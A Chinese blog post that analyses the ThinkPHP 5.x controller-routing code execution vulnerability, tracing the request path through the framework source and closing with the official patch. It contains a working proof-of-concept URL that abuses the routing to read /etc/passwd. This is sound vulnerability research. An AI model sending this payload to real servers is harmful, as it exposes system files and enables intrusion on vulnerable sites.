1. 程式人生 > >ThinkPHP5程式碼執行的簡單分析

ThinkPHP5程式碼執行的簡單分析

漏洞影響版本:

  • ThinkPHP 5.0.5-5.0.22
  • ThinkPHP 5.1.0-5.1.30

 

漏洞復現:

  一.mac的debug環境搭建。

    一鍵化環境搭建工具: mamp pro ,除錯工具 PHPstorm

    開啟mamp pro,設定左上角的file->Edit Template, 設定httpd.conf (監聽本地)

      ServerName 127.0.0.1:8087

      Listen 127.0.0.1:8087

    開啟mamp pro,設定左上角的file->Edit Template,設定PHP.ini 選擇你的PHP版本 

zend_extension="/Applications/MAMP/bin/php/php7.2.10/lib/php/extensions/no-debug-non-zts-20170718/xdebug.so"
xdebug.idekey=PHPSTORM
xdebug.remote_connect_back = 1
xdebug.remote_enable=on
xdebug.remote_port = 9001
xdebug.remote_handler = dbgp
xdebug.auto_trace = 1
xdebug.remote_log = /tmp/xdebug.log

    其餘的在PHPstorm上設定,設定完不行嘗試加上XDEBUG_SESSION_START=xxxx ,xxxx為你debug開啟的等待的key

 

 

  最後,環境搭的頭疼。

--------

poc: http://127.0.0.1:8087/tp5/public/index.php?s=index/\think\template\driver\file/read&cacheFile=/etc/passwd

先貼上呼叫棧

File.php:51, think\template\driver\File->read()
Container.php:395, ReflectionMethod->invokeArgs()    //反射呼叫
Container.php:395, think\App->invokeReflectMethod()  
Module.php:135, think\route\dispatch\Module->think\route\dispatch\{closure}()
Middleware.php:186, call_user_func_array:{/thinkphp/library/think/Middleware.php:186}()
Middleware.php:186, think\Middleware->think\{closure}()
Middleware.php:130, call_user_func:{/thinkphp/library/think/Middleware.php:130}()
Middleware.php:130, think\Middleware->dispatch()
Module.php:140, think\route\dispatch\Module->exec()
Dispatch.php:168, think\route\dispatch\Module->run()
App.php:432, think\App->think\{closure}()
Middleware.php:186, call_user_func_array:{/thinkphp/library/think/Middleware.php:186}()
Middleware.php:186, think\Middleware->think\{closure}()
Middleware.php:130, call_user_func:{/thinkphp/library/think/Middleware.php:130}()
Middleware.php:130, think\Middleware->dispatch()
App.php:435, think\App->run()
index.php:21, {main}()

  

最開始進入/tp5/public/index.php

<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2018 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <[email protected]>
// +----------------------------------------------------------------------

// [ 應用入口檔案 ]
namespace think;

// 載入基礎檔案
require __DIR__ . '/../thinkphp/base.php';

// 支援事先使用靜態方法設定Request物件和Config物件

// 執行應用並響應
Container::get('app')->run()->send();

  

 載入基礎檔案,呼叫app應用,呼叫run()方法,

App.php:375, think\App->run(),在run方法中會對路由進行檢測
App.php:402, $dispatch = $this->routeCheck()->init();
routeCheck()中會去執行pathinfo()方法,取$_GET['s']裡面的值
public function pathinfo()
    {
        if (is_null($this->pathinfo)) {
            if (isset($_GET[$this->config['var_pathinfo']])) {
                // 判斷URL裡面是否有相容模式引數
                $pathinfo = $_GET[$this->config['var_pathinfo']];
                unset($_GET[$this->config['var_pathinfo']]);
            } elseif ($this->isCli()) {
                // CLI模式下 index.php module/controller/action/params/...
                $pathinfo = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
            } elseif ('cli-server' == PHP_SAPI) {
                $pathinfo = strpos($this->server('REQUEST_URI'), '?') ? strstr($this->server('REQUEST_URI'), '?', true) : $this->server('REQUEST_URI');
            } elseif ($this->server('PATH_INFO')) {
                $pathinfo = $this->server('PATH_INFO');
            }

            // 分析PATHINFO資訊
            if (!isset($pathinfo)) {
                foreach ($this->config['pathinfo_fetch'] as $type) {
                    if ($this->server($type)) {
                        $pathinfo = (0 === strpos($this->server($type), $this->server('SCRIPT_NAME'))) ?
                        substr($this->server($type), strlen($this->server('SCRIPT_NAME'))) : $this->server($type);
                        break;
                    }
                }
            }

            $this->pathinfo = empty($pathinfo) || '/' == $pathinfo ? '' : ltrim($pathinfo, '/');
        }

        return $this->pathinfo;
    }

  從$_GET['s']中取參

 

App.php:583, think\App->routeCheck()        $dispatch = $this->route->check($path, $must);  // 返回一個Url物件, index|\think\template\driver\file|read

return new UrlDispatch($this->request, $this->group, $url, [ 'auto_search' => $this->autoSearchController, ]);

在URL類中沒找到含4個引數的建構函式,呼叫父類Dispatch的建構函式。

 

 

接著再初始化Url物件的init();方法。

 第一步解析預設的URL規則。呼叫parseUrl($this->dispatch) ,返回URL規則

    public function init()
    {
        // 解析預設的URL規則
        $result = $this->parseUrl($this->dispatch);

        return (new Module($this->request, $this->rule, $result))->init();
    }

  

protected function parseUrl($url)
{
    $depr = $this->rule->getConfig('pathinfo_depr');
    $bind = $this->rule->getRouter()->getBind();

    if (!empty($bind) && preg_match('/^[a-z]/is', $bind)) {
        $bind = str_replace('/', $depr, $bind);
        // 如果有模組/控制器繫結
        $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
    }

    list($path, $var) = $this->rule->parseUrlPath($url);
    if (empty($path)) {

  使用"/"進行分割,拿到 [模組/控制器/操作]

public function parseUrlPath($url)
    {
    ....
    ....
        } elseif (strpos($url, '/')) {
            // [模組/控制器/操作]
            $path = explode('/', $url);
        } elseif (false !== strpos($url, '=')) {
            // 引數1=值1&引數2=值2...
            $path = [];
            parse_str($url, $var);
        } else {
            $path = [$url];
        }

        return [$path, $var];
    }

  

 從$result = $this->parseUrl($this->dispatch); 拿到封裝好的路由規則。

接著往回看return (new Module($this->request, $this->rule, $result))->init();

    public function init()
    {
        // 解析預設的URL規則
        $result = $this->parseUrl($this->dispatch);

        return (new Module($this->request, $this->rule, $result))->init();
    }

在Module類中沒有建構函式,在呼叫Dispatch父類的建構函式,在呼叫Module類中init()函式。將轉換控制器和操作名賦值給$this,也轉換控制器和操作名封裝到request裡面,返回當前類

public function init()
    {
        parent::init();
        $result = $this->dispatch;

        if ($this->rule->getConfig('app_multi_module')) {
            // 多模組部署
            $module    = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module')));
            ...
            ...
            } elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
                $available = true;
            } 
           ...
           ...
            // 模組初始化
            if ($module && $available) {
                // 初始化模組
                $this->request->setModule($module);
                $this->app->init($module);
            } else {
                throw new HttpException(404, 'module not exists:' . $module);
            }
        }
        // 獲取控制器名
        $controller       = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
        $this->controller = $convert ? strtolower($controller) : $controller;
        // 獲取操作名
        $this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action'));
        // 設定當前請求的控制器、操作
        $this->request
            ->setController(Loader::parseName($this->controller, 1))
            ->setAction($this->actionName);

        return $this;
    }

  

引用啟明的分析:

這裡存在第一個對$module的判斷,需要讓$available等於true,這就需要is_dir($this->app->getAppPath() . $module)成立。官方demo給出的模組是index,而實際開發程式不一定存在該模組名,
所以構造payload時這裡是一個注意點。 

在回到最開始的app模組

public function run(){ 
..... $this->middleware->add(function (Request $request, $next) use ($dispatch, $data) { return is_null($data) ? $dispatch->run() : $data; }); $response = $this->middleware->dispatch($this->request); ..... }

  

建立一個閉包函式,然後執行$this->middleware->dispatch($this->request);

    public function dispatch(Request $request, $type = 'route')
    {
        return call_user_func($this->resolve($type), $request);
    }

  

使用call_user_func回撥函式,將$request作為引數傳進resolve,\think\Middleware::resolve

protected function resolve($type = 'route')
    {
        return function (Request $request) use ($type) {

            $middleware = array_shift($this->queue[$type]);

            if (null === $middleware) {
                throw new InvalidArgumentException('The queue was exhausted, with no response returned');
            }

            list($call, $param) = $middleware;

            try {
                //TODO此處的引數要在看一下
                $response = call_user_func_array($call, [$request, $this->resolve($type), $param]);
            } catch (HttpResponseException $exception) {
                $response = $exception->getResponse();
            }

            if (!$response instanceof Response) {
                throw new LogicException('The middleware must return Response instance');
            }

            return $response;
        };
    }

  

進入到call_user_func_array() ,繼續回撥,將[$request, $this->resolve($type), $param]作為引數傳進去。

這裡的$call引數是個閉包函式,會呼叫之前app模組的閉包函式。在app.php:431

#app.php:431
function (Request $request, $next) use ($dispatch, $data) { return is_null($data) ? $dispatch->run() : $data; }

Dispatch.php:168, think\route\dispatch\Module->run()
App.php:432, think\App->think\{closure}()

public function run()
    {
        $option = $this->rule->getOption();

        // 檢測路由after行為
        if (!empty($option['after'])) {
            $dispatch = $this->checkAfter($option['after']);

            if ($dispatch instanceof Response) {
                return $dispatch;
            }
        }

        // 資料自動驗證
        if (isset($option['validate'])) {
            $this->autoValidate($option['validate']);
        }

        $data = $this->exec();

        return $this->autoResponse($data);
    }

  

這時候會執行$data = $this->exec();

public function exec()
    {
        // 監聽module_init
        $this->app['hook']->listen('module_init');

        try {
            // 例項化控制器
            $instance = $this->app->controller($this->controller,
                $this->rule->getConfig('url_controller_layer'),
                $this->rule->getConfig('controller_suffix'),
                $this->rule->getConfig('empty_controller'));

            if ($instance instanceof Controller) {
                $instance->registerMiddleware();
            }
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }
.....
return $this->app['middleware']->dispatch($this->request, 'controller');

這裡有看到了熟悉的$this->app['middleware']->dispatch($this->request, 'controller'); 

只不過這裡不再是route,而是controller,這裡的controller將會再次呼叫exec()函式裡面的閉包函式controller

$this->app['middleware']->controller(function (Request $request, $next) use ($instance) {
// 獲取當前操作名
$action = $this->actionName . $this->rule->getConfig('action_suffix');

if (is_callable([$instance, $action])) {
// 執行操作方法
$call = [$instance, $action];

// 嚴格獲取當前操作方法名
$reflect = new ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $this->rule->getConfig('action_suffix');
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$this->request->setAction($actionName);

// 自動獲取請求變數
$vars = $this->rule->getConfig('url_param_type')
? $this->request->route()
: $this->request->param();
$vars = array_merge($vars, $this->param);
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$this->actionName];
$reflect = new ReflectionMethod($instance, '_empty');
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}

$this->app['hook']->listen('action_begin', $call);

$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

return $this->autoResponse($data);
});
  

 

通過閉包函式controller()進行反射,跟進invokeReflectMethod

$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

public function invokeReflectMethod($instance, $reflect, $vars = [])
{
$args = $this->bindParams($reflect, $vars);

return $reflect->invokeArgs($instance, $args);
}

 

最後就呼叫傳入的方法和引數,進行反射。

 

 

至此,簡單分析完了,學習到了使用簡單閉包的方法。

官方修復方式:連線

新增如下正則,對控制器進行判斷。只允許a-zA-Z.這樣的字元通過

if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {
            throw new HttpException(404, 'controller not exists:' . $controller);
        }

 

參考來源:

https://paper.seebug.org/760/

https://laravel-china.org/articles/5388/closures-and-anonymous-functions-of-php-new-features

https://github.com/top-think/framework/commit/adde39c236cfeda454fe725d999d89abf67b8caf